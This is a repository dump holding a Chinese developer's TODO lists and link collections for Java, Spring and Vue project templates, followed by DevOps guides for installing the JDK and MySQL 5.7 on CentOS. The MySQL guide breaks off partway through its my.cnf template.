\nHR服务系统\nCRM客户关系\n行政服务系统\n问答系统\n知识学习系统\njun_weixin\n微信开发，调整\nweixin_api\nweixin_boot\nweixin_manager\njun_android\njun_app\nAPP开发，调整\njun_uniapp\nhttps://github.com/chenbool/uniapp-douyin\njun_app_cms\n\n待办：\nhttps://github.com/lerry903/spring-boot-api-project-seed\nhttps://github.com/jackying/H-ui.admin\nhttps://github.com/xiaoshaDestiny/spring-cloud-2020\n\nhttps://github.com/stylefeng/Guns\nhttps://github.com/jsnjfz/WebStack-Guns\nhttps://github.com/1477551037/exam\nhttps://github.com/itd2008/My-Blog\nhttps://github.com/qiaokun-sh/spring-token\n\nhttps://github.com/wujun728/inspinia_admin_java_ssm\n\nhttps://github.com/xwjie/ElementVueSpringbootCodeTemplate\nhttps://github.com/RudeCrab/rude-java\nhttps://github.com/Wjhsmart/Front-end-UI\nhttps://github.com/zongjl/JavaWeb\nhttps://github.com/zongjl/Jeebase\nhttps://github.com/xzt1995/nideshop-springboot\n\nfsLayui\nVIEWUI-FOR-EASYUI 迁移到UI\nspring-boot-starter-motan\njava\nlayoutit\nPersonnel-Management-System\nfiction_house\ninspinia_admin_java_ssm\nspringboot-mui\nJobs-search\nxxyms————————————————————————————————————————————————————————————————————————————————————————————————————————\n​      \n\nTODO PLAN：\n\n1、清空readme，新增readme图片，新增胶片方案模板供截图\n2、调整package，调整author，调整每个工程大小，调整每个项目jar包\n3、调整每个项目运行\n4、mvn_template 开发模板，调整，新增项目模板；新增\n\njun_code_generator\n0、默认生成模板调整，默认下载zip包调整\n1、代码生成器jun_code_generator 默认提供Spring、Hibernate、MyBatis、Spring JDBC模板\n2、代码生成器，将easyexcel的demo合并到code_generator\n3、代码生成器的模板跟maven_template再整一下\n4、代码生成器新模板\n\tSsm+easyUI\n\tSSM+jwt+layui\n\tboot+Bootstrap\n\tboot+jwt+vue\n5、单表生成\n6、关联表生成\n7、整理ssm项目\n8、整理boot项目\n9、SSH、SSM、SpringBoot、SpringCloud、Android、APP模板,\n10、新增+jun_ssh+ssm+springboot+mybatis+JPA\njun_springboot_vue\n1、ruoyi-vue-pro    ---迁移到\njun_product_center 产品中心，常用项目模板及常用项目工程，调整，常用项目的集合，私有的\n0、整chinasoft的login.html跟index.html的page，适配Nginx跟ssm_jwt；\n1、整理cs的login页面\n2、整理cs的index页面\n3、整理layui的静态前端页面并归档\n4、整理adminlte及hplus\n5、整理easyui的前端页面并归档\n6、整理代码生成器\n先根据邮件去掉非必须的项目\n综合配置login及index的页面的归档\n\nwujun728.github.io\njun_springcloud\njun_linux    Linux开发组件\nNginx优化，nginx优化单台机器抗10万并发\nhttps://www.jianshu.com/p/5149a7a700b9\njun_weixin   微信开发\njun_android Android开发\njun_app    APP开发，Vue+uniapp+Nodejs++Android\njun_temp    临时仓库，干掉\njun_website    网站开发,以WordPress+网站模板为主\njun_bigdata   大数据开发\n\nhttps://blog.csdn.net/yf275908654/article/details/50171607\n\n \n\nSsh_parent\naicode\\      干掉\nauthority\\ jsp hplus boot jpa\nbiu\\   迁移到vue里面\nmis\\ 干掉\nShiroJwt\\ 迁移到vue里面\n\n不要的东西删掉，重新拟定计划跟技术选型及产品\n1、新增产品规划，产品及技术选型\n2、先技术规划，技术规划\n3、新增管理规划，功能点补充及二次开发规划\n4、功能地图及产品中心规划\n5、整理胶片的模板发挥架构的优势\n\n###TODO待办清单\nNOTE20210311\njun_2021\\\njun_framework\\\njun_ssm\\\njun_test\\\njun_test11\\\nAbout\n代码生成器jun_code_generator 默认提供Spring、Hibernate、MyBatis、Spring JDBC模板，也可以根据FreeMarker语法编写自定义模板生成代码。\n\nhttps://www.bejson.com/\nNginx优化\nhttps://www.jianshu.com/p/5149a7a700b9\nNetty\nhttps://blog.csdn.net/yuanzhenwei521/article/details/79194275\n\njun_boot\njun_plugin\njun_weixin\njun_ssm\njun_cloud\njun_app\njun_website \nfsLayui \nVIEWUI-FOR-EASYUI \nspring-boot-starter-motan \njava\nlayoutit\nPersonnel-Management-System\nfiction_house\ninspinia_admin_java_ssm\nspringboot-mui\nJobs-search\nxxyms\njun_temp1\\\njun_temp2\\\nTODO PLAN：\n\nVue+uniapp+Nodejs+WordPress+PHP+Android+Bigdata\n\nhttps://blog.csdn.net/xiaojinlai123/article/details/90694372\nhttps://blog.csdn.net/sxdtzhaoxinguo/article/details/77965226\n\nhttps://github.com/moshowgame/SpringBootCodeGenerator\nhttps://github.com/SpringCloud/spring-cloud-codegen\nhttp://hub.fastgit.org/thinkgem/jeesite_autocode\n\nReadme.md template\n\nplugin\nhttps://github.com/RudeCrab/rude-java/tree/master/project-practice\n\n干掉，放到plugin里面\nhttps://github.com/wujun728/jun_frontend_ui\n\nboot\n\nhttps://github.com/wujun728/jun_springboot \n合并到jun_ssm,并重命名\n\nhttps://github.com/wangyushuai/inspinia_admin_java_ssm\n\n前端模板-合并到front里面\nhttps://github.com/wenfengSAT/wenfengSAT-UI\n迁移到CRM里面\nhttps://github.com/wenfengSAT/SpringbootCRM\n迁移到plugin里面\nhttps://github.com/wenfengSAT/wenfengSAT-SpringBoot\n迁移到uniapp里面\nhttps://github.com/fanchaoo/netease-cloud-music-community\n待处理：\n迁移到cloud里面\nfsLayui\nVIEWUI-FOR-EASYUI\nspring-boot-starter-motan\n总体待办：\n吴俊-补充TODO待办清单\nJun_code-generator\n临时分支\n\nJun_code_generator\ndoc\\ \n\tsimple-fast-generator\\   合并到code_mplus\n\t\njun_code_generator\\\n\thub.fastgit.org/alibaba/easyexcel\n\t集成easyexcel读取文件的功能noModelRead\njun_code_mybatis\\\njun_code_mybatisplus\\  \n\n### 附录：个人作品索引目录（持续更新）\n\n#### 基础篇:职业化，从做好OA系统开始\n1. [Spring boot整合Mybatis实现增删改查（支持多数据源）](https://gitee.com/shenzhanwang/SSM)![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")\n2. [Struts2,Hibernate,Spring三大框架的整合实现增删改查](https://gitee.com/shenzhanwang/S2SH)\n3. [Spring,SpringMVC和Hibernate的整合实现增删改查](https://gitee.com/shenzhanwang/SSH)\n4. [Spring平台整合activiti工作流引擎实现OA开发](https://gitee.com/shenzhanwang/Spring-activiti)![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")\n5. [Spring发布与调用REST风格的WebService](https://gitee.com/shenzhanwang/Spring-REST)\n6. [Spring整合Apache Shiro框架，实现用户管理和权限控制](https://gitee.com/shenzhanwang/Spring-shiro)\n7. [使用Spring security做权限控制](https://gitee.com/shenzhanwang/spring-security-demo)\n8. [Spring整合Jasig CAS框架实现单点登录](https://gitee.com/shenzhanwang/Spring-cas-sso)\n#### 中级篇：中间件的各种姿势\n9. [Spring连接mongoDB数据库实现增删改查](https://gitee.com/shenzhanwang/Spring-mongoDB)\n10. [Spring连接Redis实现缓存](https://gitee.com/shenzhanwang/Spring-redis)\n11. [Spring连接图存数据库Neo4j实现增删改查](https://gitee.com/shenzhanwang/Spring-neo4j)\n12. [Spring平台整合消息队列ActiveMQ实现发布订阅、生产者消费者模型（JMS）](https://gitee.com/shenzhanwang/Spring-activeMQ)\n13. [Spring整合消息队列RabbitMQ实现四种消息模式（AMQP）](https://gitee.com/shenzhanwang/Spring-rabbitMQ)\n14. Spring框架的session模块实现集中式session管理 [购买](http://t.cn/Ai80zekN)\n15. [Spring整合websocket实现即时通讯](https://gitee.com/shenzhanwang/Spring-websocket)![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")\n16. 使用Spring boot整合mybatis,rabbitmq,redis,mongodb实现增删改查 [购买](http://t.cn/Ai8Yh8Oy)\n17. [Spring MVC整合FastDFS客户端实现文件上传](https://gitee.com/shenzhanwang/Spring-fastdfs)\n18. 23种设计模式，源码、注释、使用场景 [购买](http://t.cn/Ai8Y7tEF)\n19. [使用ETL工具Kettle的实例](https://gitee.com/shenzhanwang/Kettle-demo)\n20. Git指南和分支管理策略 [购买](http://t.cn/Ai8Y7948)\n21. 使用数据仓库进行OLAP数据分析（Mysql+Kettle+Zeppelin） ![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")[购买](http://t.cn/Ai8Y7dVD)\n#### 高级篇：架构之美\n22. [zookeeper原理、架构、使用场景和可视化](https://gitee.com/shenzhanwang/zookeeper-practice)\n23. Spring boot整合Apache dubbo v2.7.5实现分布式服务治理（SOA架构） ![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\") [购买](https://dwz.lc/beP9N33)\n>  包含组件Spring boot v2.2.2+Dubbo v2.7.5+Nacos v1.1.1\n<a href=\"https://images.gitee.com/uploads/images/2020/0114/084731_fd0b7a82_1110335.gif\" target=\"_blank\">效果图</a>\n24. 使用Spring Cloud Alibaba v2.1.0实现微服务架构（MSA架构）![输入图片说明](https://img.shields.io/badge/-%E6%8B%9B%E7%89%8C-yellow.svg)   [购买](https://dwz.lc/IdmrHzd)\n>  包含组件Nacos+Feign+Gateway+Ribbon+Sentinel+Zipkin\n<a href=\"https://images.gitee.com/uploads/images/2020/0106/201827_ac61db63_1110335.gif\" target=\"_blank\">效果图</a>\n25. 使用jenkins+centos+git+maven搭建持续集成环境自动化部署分布式服务 [购买](http://t.cn/Ai8YZbaX)\n26. 使用docker+compose+jenkins+gitlab+spring cloud实现微服务的编排、持续集成和动态扩容 [购买](http://t.cn/Ai8YZCYK)\n27. 使用FastDFS搭建分布式文件系统（高可用、负载均衡）[购买](http://t.cn/Ai8YZePu)\n28. 搭建高可用nginx集群和Tomcat负载均衡 [购买](http://t.cn/Ai8Ywlr8)\n29. 搭建可扩展的ActiveMQ高可用集群 [购买](http://t.cn/Ai8YAbA8)\n30. 实现Mysql数据库的主从复制、读写分离、分表分库、负载均衡和高可用 [购买](http://t.cn/Ai8YAOAK)\n31. 搭建高可用redis集群实现分布式缓存 [购买](http://t.cn/Ai8Y2NQy)\n32. [Spring boot整合Elastic search实现全文检索](https://gitee.com/shenzhanwang/Spring-elastic_search) ![输入图片说明](https://img.shields.io/badge/-%E6%8B%9B%E7%89%8C-yellow.svg \"在这里输入图片标题\")\n#### 特别篇：分布式事务和并发控制\n33. 基于可靠消息最终一致性实现分布式事务（activeMQ）[购买](http://t.cn/Ai8YLPBL)\n34. Spring boot dubbo整合seata实现分布式事务![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\") [购买](https://dwz.lc/csO0rp2)\n> 包含组件nacos v1.1.0 + seata v0.7.1 +spring boot dubbo v2.7.5\n<a href=\"https://images.gitee.com/uploads/images/2020/0119/112233_62a33a77_1110335.gif\" target=\"_blank\">效果图</a>\n35. Spring cloud alibaba v2.1.0整合seata实现分布式事务 ![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")[购买](https://dwz.lc/0T8KCTC)\n> 包含组件nacos v1.1.0 + seata v0.7.1 +spring cloud alibaba v2.1.0\n<a href=\"https://images.gitee.com/uploads/images/2020/0119/134408_ee14a016_1110335.gif\" target=\"_blank\">效果图</a>\n36. 决战高并发：数据库锁机制和事务隔离级别的实现![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\") [购买](http://t.cn/Ai8YyAQE)\n37. 决战高并发：使用redis实现分布式锁  ![输入图片说明](https://img.shields.io/badge/-%E7%B2%BE%E5%93%81-orange.svg \"在这里输入图片标题\")[购买](http://t.cn/Ai8Y4bER)\n38. 决战高并发：使用zookeeper实现分布式锁 [购买](http://t.cn/Ai8Y4Cuq)\n39. 决战高并发：Java多线程编程实例 [购买](http://t.cn/Ai8Y4s0r)\n40. 决战高并发：使用netty实现高性能NIO通信 [购买](http://t.cn/Ai8Ybq3e)\n \n\n<a href=\"https://www.jianguofaka.com/details/B1143645\" target=\"_blank\">全套大礼包2020年版</a>\n\n1、jun_api_service\n初始化API_Service\nhttps://github.com/lihengming/spring-boot-api-project-seed\n干掉jun_api-plugin\n\n2、jun_cache   ---干掉\n新增springcache\nhttps://github.com/iamsixer/spring-cache-demo\nhttps://github.com/zheng-zy/spring-boot-redis-guava-caffeine-cache\n\n3、camel 干掉，没啥用\n\n4、jun_crawler 调整，跑起来，净化\n\n5、jun_datasource_cluster rename 到 DataSource\n新增 https://github.com/ran-jit/tomcat-cluster-redis-session-manager\n\n6、分解jun_dbutils\nhttps://github.com/objcoding/jdbc-utils\n\n7、jun_demo rename到 jun_test\n\n8、设计模式，合并到一起，分三种合并，中文转英文\n\n9、jun_note 新增\nhttps://github.com/GourdErwa/review-notes\n\n10、新增jun_webservlet_guice_dbutil\nhttps://www.cnblogs.com/huzi007/p/5802022.html\nhttps://www.cnblogs.com/huzi007/p/5796372.html\n\n11、drools https://github.com/maxxbwsDemo\n\n12、email 调整，清理\nhttps://github.com/biezhi/oh-my-email/blob/master/pom.xml\nhttps://github.com/isliqian/NiceEmail\n\n13、excel 集成 easyexcel\nhttps://github.com/HowieYuan/easyexcel-encapsulation\n新增jun_poi demo\n\n14、jun_fileupload\nhttps://github.com/wemakebug/FileUpload.Java\nSpring fileupload\nhttps://github.com/jdmr/fileUpload\n\n15、freemarker boot https://github.com/JavaCodeMood/freemarker\n\n16、guava\nhttps://github.com/tiantiangao/guava-study\nhttps://github.com/tfnico/guava-examples\n\n17、guice\nhttps://github.com/timlien/servlet-guice\nhttps://github.com/greengerong/guice-demo\nhttps://github.com/lg625740749/GuiceDemo\n\n18、hibernate\nhttps://github.com/hibernate/hibernate-demos\n\n19、httpclient\nhttps://github.com/Arronlong/httpclientutil\nhttps://github.com/JourWon/httpclientutil\n\n20、image\nhttps://github.com/xuehuayous/ImageUpload\nhttps://github.com/jmitchener/spring-images\nhttps://github.com/woobong/spring-boot-jpa-summernote-image-upload-example\nhttps://github.com/mrmodise/java-spring-file-upload\n\n21、jbpm4\nhttps://github.com/xxg3053/jbpm-study\nhttps://github.com/American/workflow/tree/master/workflow\n\n22.jdk 清理，调整\n\n23、lucenne\nhttps://github.com/abel533/SearchEngine\nhttps://github.com/doushini/lucene\nhttps://github.com/pumadong/cl-search\nSpringboot+ElasticSearch\nhttps://github.com/Motianshi/all-search\n\n24、pay\nhttps://github.com/kongzhidea/pay\nhttps://github.com/iyangyuan/pay-spring-boot\n\nSpring-cloud\n\n \n\n41、 webmagic\nhttps://github.com/scsfwgy/WebMagic_CSDN_Demo\nhttps://github.com/EzioL/neteasemusic\n\n42、api_service\n合并都api里面，其他的2个干掉\n\nSpring\n43、 jwt rename一下\n新增springboot jwt\nhttps://github.com/dolyw/VueStudy/tree/master/VueStudy08-JWT\nhttps://github.com/dolyw/ShiroJwt.git\n\n44、spring activemq\n清理代码，优化test及readme\nhttps://github.com/888xin/activeMQ\n\n45、camel 调整为zip里面的spring\n46、cas 干掉\n新增oauth\n\n47、cors 调整为filter过滤器\n\n48、config 迁移到cloud里面\n\n49、fastdfs\n\n50、dubbo\nhttps://github.com/GenshenWang/DubboDemo\n\n51、quartz\nhttps://github.com/ameizi/spring-quartz-cluster-sample\n\n52、新增xxl-job\nhttps://github.com/xuxueli/xxl-job\n\n53、email\nhttps://github.com/fangjieDevp/spring-email-master\n\n54、Excel 干掉\n\n55、hibernate\nhttps://github.com/zhonglinlin1305/Spring\nhttps://github.com/zhonglinlin1305/spring-projects/\n\n0、Boot&cloud\nhttps://github.com/zhonglinlin1305/spring-boot-sample/\nhttps://github.com/zhonglinlin1305/spring-cloud-microservice\nhttps://github.com/SpringForAll/springcloud-thoth\n\n56、kafka\nhttps://github.com/smallnest/spring-kafka-demo\n\n57、lucenne\nhttps://github.com/FuZhucheng/SSM\n\n \n\n00、boot starter\nhttps://github.com/battcn/extend-spring-boot\n\n00、util\nhttps://github.com/864381832/xJavaFxTool-spring\n\n00、ppt\nhttps://github.com/aalansehaiyang/technology-talk\n\n1、plugin 代码全部梳理一遍，package/pom/test/readme\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n2、ssh 代码合并到一个，调整功能\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n3、ssm 代码合并到一个，调整功能\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n4、代码生成器、代码一套，功能一套，合并ry_gen\nhttps://www.jianshu.com/p/31e532392a74\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n5、ui 整理ui\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n6、apiservice 代码一套，功能一套，同步ssm\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\nhttps://github.com/callicoder/spring-webflux-reactive-rest-api-demo\nhttps://blog.csdn.net/qq_35067322/article/details/106935320\nhttps://github.com/dolyw/ShiroJwt\n7、linux 部署文档，部署包、docker部署\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n部署环境\n\nStep2\nmain\nhttps://github.com/Heeexy/SpringBoot-Shiro-Vue\njun_springboot_jwt_layui\\   合并到ssm框架\njun_springboot_jwt_shiro_api\\   空的\njun_springboot_vue\\   干掉\njun_springboot_vue_pro\\ 合并到上面里面\n\nStep4\n1、uniapp\nhttps://github.com/zsptsf/uniapp.git\nhttps://github.com/c1013529993/springboot-uniapp-21cake\n\nStep1\nJdbc_template\nhttps://gitee.com/jervain_y/repository\n\nhttps://github.com/horsecms/layuiCMS\n\nStep2\n1、vue-element-admin\nhttps://github.com/panjiachen/vue-element-admin-site\nhttps://panjiachen.github.io/vue-element-admin-site/zh/guide/\n2、cloud\nhttps://www.8kee.com/article/17347.html\nhttps://github.com/JourWon/springcloud-learning\nhttps://github.com/wenren0819/Spring-Cloud-2020\nhttps://blog.csdn.net/ThinkWon/article/details/103726655\n\n2、api_service\nhttps://github.com/koocyton/reactor-guice\nhttps://github.com/jwpttcg66/NettyGameServer\n3、bigdata\n爬虫\nhttps://github.com/brianway/webporter\nETL\nhttps://github.com/zhaxiaodong9860/kettle-scheduler\n数仓\nhttps://github.com/fenglei110/DataWarehouse\nhttps://github.com/jd-bigdata/rtf-lake\nhttps://github.com/xzt1995/Data-Warehouse\n新增用户画像、用户行为\nhttps://github.com/monsonlee/BigData\nhttps://github.com/whirlys/BigData-In-Practice\nhttps://github.com/597365581/bigdata_tools\nhttps://blog.csdn.net/u013967628/article/details/83656560\n\n1、plugin 代码全部梳理一遍，package/pom/test/readme\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n2、ssh 代码合并到一个，调整功能\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n3、ssm 代码合并到一个，调整功能\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n4、代码生成器、代码一套，功能一套，合并ry_gen\nhttps://www.jianshu.com/p/31e532392a74\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n5、ui 整理ui\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n6、apiservice 代码一套，功能一套，同步ssm\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\nhttps://github.com/callicoder/spring-webflux-reactive-rest-api-demo\nhttps://blog.csdn.net/qq_35067322/article/details/106935320\nhttps://github.com/dolyw/ShiroJwt\n7、linux 部署文档，部署包、docker部署\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n部署环境\n\nStep2\nmain\nhttps://github.com/Heeexy/SpringBoot-Shiro-Vue\njun_springboot_jwt_layui\\   合并到ssm框架\njun_springboot_jwt_shiro_api\\   空的\njun_springboot_vue\\   干掉\njun_springboot_vue_pro\\ 合并到上面里面\n\nStep4\n1、uniapp\nhttps://github.com/zsptsf/uniapp.git\nhttps://github.com/c1013529993/springboot-uniapp-21cake\n\nStep1\nJdbc_template\nhttps://gitee.com/jervain_y/repository\n\nhttps://github.com/horsecms/layuiCMS\n\nStep2\n1、vue-element-admin\nhttps://github.com/panjiachen/vue-element-admin-site\nhttps://panjiachen.github.io/vue-element-admin-site/zh/guide/\n2、cloud\nhttps://www.8kee.com/article/17347.html\nhttps://github.com/JourWon/springcloud-learning\nhttps://github.com/wenren0819/Spring-Cloud-2020\nhttps://blog.csdn.net/ThinkWon/article/details/103726655\n\n2、api_service\nhttps://github.com/koocyton/reactor-guice\nhttps://github.com/jwpttcg66/NettyGameServer\n3、bigdata\n爬虫\nhttps://github.com/brianway/webporter\nETL\nhttps://github.com/zhaxiaodong9860/kettle-scheduler\n数仓\nhttps://github.com/fenglei110/DataWarehouse\nhttps://github.com/jd-bigdata/rtf-lake\nhttps://github.com/xzt1995/Data-Warehouse\n新增用户画像、用户行为\nhttps://github.com/monsonlee/BigData\nhttps://github.com/whirlys/BigData-In-Practice\nhttps://github.com/597365581/bigdata_tools\nhttps://blog.csdn.net/u013967628/article/details/83656560\n\nEureka\nhttps://www.cnblogs.com/rickiyang/p/11802413.html\nRebbon\nhttps://blog.csdn.net/forezp/article/details/74820899\nRibbon的负载均衡，主要通过LoadBalancerClient来实现的，而LoadBalancerClient具体交给了ILoadBalancer来处理，ILoadBalancer通过配置IRule、IPing等信息，并向EurekaClient获取注册列表的信息，并默认10秒一次向EurekaClient发送“ping”,进而检查是否更新服务列表，最后，得到注册列表后，ILoadBalancer根据IRule的策略进行负载均衡。在RestTemplate 被@LoadBalance注解后，能过用负载均衡，主要是维护了一个被@LoadBalance注解的RestTemplate列表，并给列表中的RestTemplate添加拦截器，进而交给负载均衡器去处理。\n\n架构\nhttps://blog.csdn.net/shenhuxi10000/article/details/105058723\n\nhttps://github.com/wujun728/learningSummary\n\nSpringboot security\nhttps://blog.csdn.net/yuanlaijike/article/details/80249235\n\nmxtheme02\n\nhttps://github.com/hemin1003\njun_temp     临时仓库\nhttps://github.com/c1013529993/springboot-uniapp-21cake\n\nJWT+VUE\nhttps://github.com/cailichao/easyweb-jwt\nhttps://github.com/whvcse/JwtPermission\n\nElasticsearch\n\n来自 <https://www.cnblogs.com/sunsky303/p/9438737.html>\n\n \n\nhttps://spring-cloud-alibaba-group.github.io/github-pages/hoxton/zh-cn/index.html\n\n***************************************************************************************************\n\nSpringboot_fileupload\nhttps://github.com/gaoyuyue/MyUploader-Backend\n\nspringcloud_plugin\nSuperboot    --- 迁移到jun_cloud_center\nJun_dubbo ---迁移到jun_microservice\nSpring\n\nhttps://github.com/liuge1988/kitty-generator\nhttps://github.com/zhoutaoo/SpringCloud\n\nApi_service\n1、API_BOOT代码生成器合并到code_generator里面\n2、api里面的layui抽出来，合并到\nhttps://github.com/Radom7/springboot-layui\njun_layuiadmin\n3、新增apijson\nhttps://github.com/APIJSON/APIJSON-Demo\nhttps://vincentcheng.github.io/apijson-doc/\n\nApi_service\n1、API_BOOT代码生成器合并到code_generator里面\n2、api里面的layui抽出来，合并到\nhttps://github.com/Radom7/springboot-layui\njun_layuiadmin\n3、新增apijson\nhttps://github.com/APIJSON/APIJSON-Demo\nhttps://vincentcheng.github.io/apijson-doc/\n\nhttps://github.com/scaladte\n\nhttps://github.com/malizhigithub/CRM\n\nhttps://blog.csdn.net/qq_22211217/article/details/83759513\nhttps://www.cnblogs.com/softidea/p/10271266.html\nMysql 递归查询\n \n\nWordPress 多站点\n企业官网\n中软门户网站\n\n"
  },
  {
    "path": "doc/Devops/CentOS使用yum安装jdk.md",
    "content": "# [CentOS使用yum安装jdk](https://www.cnblogs.com/zqyanywn/p/10812870.html)\n\n1、查看系统版本命令\n\n```\ncat /etc/issue\n2、查看yum包含的jdk版本\nyum search java 或者 yum list java*\n```\n\n　\n\n| 版本 | jre                       | jdk                             |\n| ---- | ------------------------- | ------------------------------- |\n| 1.8  | java-1.8.0-openjdk.x86_64 | java-1.8.0-openjdk-devel.x86_64 |\n| 1.7  | java-1.7.0-openjdk.x86_64 | java-1.7.0-openjdk-devel.x86_64 |\n| 1.6  | java-1.6.0-openjdk.x86_64 | java-1.6.0-openjdk-devel.x86_64 |\n\n3、安装jdk\n此次选择java-1.8.0-openjdk-devel.x86_64 : OpenJDK Development Environment\n\n```\nyum install java-1.8.0-openjdk-devel.x86_64\n4、配置全局变量\n```\n\n打开配置文件,按insert进入编辑模式\n\n```\nvi /etc/profile\n```\n\n　　\n\n```\n复制以下三行到文件中，按esc退出编辑模式，输入:wq保存退出（这里的JAVA_HOME以自己实际的目录为准）\n\nexport JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.312.b07-1.el7_9.x86_64\nexport CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar\nexport PATH=$PATH:$JAVA_HOME/bin\n\n```\n\n　　\n\n全局变量立即生效\n\n```\nsource /etc/profile\n5、查看安装jdk是否成功\njava -version\n```"
  },
  {
    "path": "doc/Devops/Centos下如何安装MySQL5.7.md",
    "content": "## [Centos下如何安装MySQL5.7](https://www.cnblogs.com/wherehappens/articles/15055614.html)\n\n\n\n####  \n\n1、查看rpm包\n\n`rpm-qa|grep mysql` 若有可用 `rpm-e`卸载\n\n```\n[root@4WAN_1LAN_IPSec_VPN_Router ~]# rpm -qa|grep mysql\n```\n\n查找是否有mysql\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n[root@4WAN_1LAN_IPSec_VPN_Router ~]# find / -name mysql\n/run/lock/subsys/mysql\n/etc/rc.d/init.d/mysql\n/usr/bin/mysql\n/usr/local/mysql-5.7.35-el7-x86_64/bin/mysql\n/usr/local/mysql-5.7.35-el7-x86_64/include/mysql\n/usr/local/mysql\n/usr/local/mysql/bin/mysql\n/usr/local/mysql/include/mysql\n/data/mysql\n/data/mysql/data/mysql\n[root@4WAN_1LAN_IPSec_VPN_Router ~]# whereis mysql\nmysql: /usr/bin/mysql /usr/local/mysql /usr/local/mysql/bin/mysql\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n## 2、卸载CentOS7系统自带mariadb\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n# 查看系统自带的Mariadb\n# rpm -qa|grep mariadb\nmariadb-libs-5.5.44-2.el7.centos.x86_64\n# 卸载系统自带的Mariadb\n# rpm -e --nodeps mariadb-libs-5.5.44-2.el7.centos.x86_64\n# 删除etc目录下的my.cnf ，一定要删掉，等下再重新建，之前我将就用这个文件，后面改配置各种不生效\n# rm /etc/my.cnf\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n## 3、检查有无安装过mysql 用户组，没有的话创建\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n//检查mysql 用户组是否存在\ncat /etc/group | grep mysql\ncat /etc/passwd |grep mysql\n\n// 创建mysql 用户组和用户\ngroupadd mysql\nuseradd -r -g mysql mysql\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n4、下载安装,从官网安装下载mysql包\n```\n\n1. `cd /usr/local/  -- 进入local目录，下载mysql tar.gz包`\n2. `# wget下载或者本地下载后上传`\n\n```\nwget https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.35-el7-x86_64.tar.gz\n这里的下载连接：https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.35-el7-x86_64.tar.gz，去mysql官网下获取\n```\n\n![img](https://img2020.cnblogs.com/blog/2124930/202107/2124930-20210724162240777-615887897.png)\n\n \n\n |\n\n|\n\n![img](https://img2020.cnblogs.com/blog/2124930/202107/2124930-20210724162357317-995161806.png)\n\n \n\n ![img](https://img2020.cnblogs.com/blog/2124930/202107/2124930-20210724162520114-253743396.png)\n\n \n\n \n\n```\n5、解压安装mysql\ntar -zxvf mysql-5.7.31-linux-glibc2.12-x86_64.tar.gz\n```\n\n**6、将解压的文件做文件改名**\n\n```\nmv mysql-5.7.31-linux-glibc2.12-x86_64 mysql\n7、更改mysql 目录下所有文件夹所属的用户组和用户，以及权限\n\nchown -R mysql:mysql /usr/local/mysql\nchmod -R 755 /usr/local/mysql\n\n```\n\n![img](https://img2020.cnblogs.com/blog/2124930/202107/2124930-20210724163429461-270271939.png)\n\n \n\n \n\n```\n8、创建mysql相关目录\n \n```\n\n1. `mkdir -p /data/mysql/{data,logs,tmp}`\n2. `# 更改文件夹所属`\n3. `chown -R mysql.mysql /data/mysql/`\n\n```\n9、创建mysql配置文件my.cnf\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\nvi /etc/my.cnf\n# 简单模板如下：\n[client]\nport = 3306\nsocket = /data/mysql/tmp/mysql.sock\n[mysqld]\nuser = mysql\nbasedir = /usr/local/mysql \ndatadir = /data/mysql/data \nport = 3306 \nsocket = /data/mysql/tmp/mysql.sock\npid-file = /data/mysql/tmp/mysqld.pid\ntmpdir = /data/mysql/tmp \nskip_name_resolve = 1\nsymbolic-links=0\nmax_connections = 2000\ngroup_concat_max_len = 1024000\nsql_mode = NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION\nlower_case_table_names = 1\nlog_timestamps=SYSTEM\ncharacter-set-server = utf8\ninteractive_timeout = 1800 \nwait_timeout = 1800\nmax_allowed_packet = 32M\nbinlog_cache_size = 4M\nsort_buffer_size = 2M\nread_buffer_size = 4M\njoin_buffer_size = 4M\ntmp_table_size = 96M\nmax_heap_table_size = 96M\nmax_length_for_sort_data = 8096\n#logs\nserver-id = 1003306\nlog-error = /data/mysql/logs/error.log\nslow_query_log = 1\nslow_query_log_file = /data/mysql/logs/slow.log\nlong_query_time = 3\nlog-bin = 